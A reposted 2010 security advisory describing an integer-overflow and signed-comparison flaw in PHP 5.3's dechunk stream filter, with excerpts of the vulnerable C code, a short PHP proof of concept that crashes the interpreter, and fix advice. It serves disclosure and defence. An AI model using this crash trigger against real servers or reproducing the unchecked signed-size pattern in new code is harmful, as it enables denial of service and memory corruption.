Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  PHP multiple security vulnerabilities

  MOPS-2010-001: PHP hash_update_file(
) Already Freed Resource Access Vulnerability

  MOPS-2010-006: PHP addcslashes()
Interruption Information Leak Vulnerability

  MOPS-2010-008: PHP chunk_split()
Interruption Information Leak Vulnerability

  MOPS-2010-009: PHP shm_put_var()
Already Freed Resource Access Vulnerability

From:PHP-SECURITY
Date:11.05.2010
Subject:MOPS-2010-003: PHP dechunk Filter Signed Comparison Vulnerability


MOPS-2010-003: PHP dechunk Filter Signed Comparison Vulnerability
May 2nd, 2010

PHP’s dechunk filter that can be used to decode remote HTTP chunked encoding streams, performs a signed comparison of the chunk size against the space in the buffer. A negative number will result in a far to many bytes (2GB – 4GB) being copied between heap buffers, which results in a crash.
Affected versions

Affected is PHP 5.3 <= 5.3.2
Credits

The vulnerability was discovered by Stefan Esser during a quick audit of the new features in PHP 5.3.
Detailed information

The new PHP dechunk filter consists of a state machine that uses the following structure to remember the current state.
typedef struct _php_chunked_filter_data {
   php_chunked_filter_state state;
   int chunk_size;
   int persistent;
} php_chunked_filter_data;

The chunk_size is stored in a signed integer which can result in problems because of the chunk size decoder used.
case CHUNK_SIZE:
   while (p < end) {
       if (*p >= '0' && *p <= '9') {
           data->chunk_size = (data->chunk_size * 16) + (*p - '0');
       } else if (*p >= 'A' && *p <= 'F') {
           data->chunk_size = (data->chunk_size * 16) + (*p - 'A' + 10);
       } else if (*p >= 'a' && *p <= 'f') {
           data->chunk_size = (data->chunk_size * 16) + (*p - 'a' + 10);
       } else if (data->state == CHUNK_SIZE_START) {
           data->state = CHUNK_ERROR;
           break;
       } else {
           data->state = CHUNK_SIZE_EXT_START;
           break;
       }
       data->state = CHUNK_SIZE;
       p++;
   }

The chunk size decoder does not protect itself against integer overflows and therefore a positive 32 bit chunk size will result in a negative integer being stored in the chunk_size state variable. This causes problems in a later state that compares the chunk size against the remaining buffer space.
case CHUNK_BODY:
   if (end - p >= data->chunk_size) {
       if (p != out) {
           memmove(out, p, data->chunk_size);
       }
       out += data->chunk_size;
       out_len += data->chunk_size;
       p += data->chunk_size;

It should be obvious that a negative chunk size being stored in the chunk_size signed integer variable will pass the check and result in 2GB to 4GB being copied between the two heap buffers. Usually this will result in a crash only but in a multithreaded webserver this could result in a more serious exploitable memory corruption. Luckily PHP is rarely used in a multithreaded environment.
Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and result in a crash.
<?php
$x = '0fffffffe

XXX';
file_put_contents("file:///tmp/test.dat",$x);
$y = file_get_contents('php://filter/read=dechunk/resource=file:///tmp/test.
dat');
echo "here";
?>
Notes

The correct way to fix this vulnerability is to no longer use a signed variable for the chunk size and to remove the possibility of a integer overflow in the chunk size decoder.

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru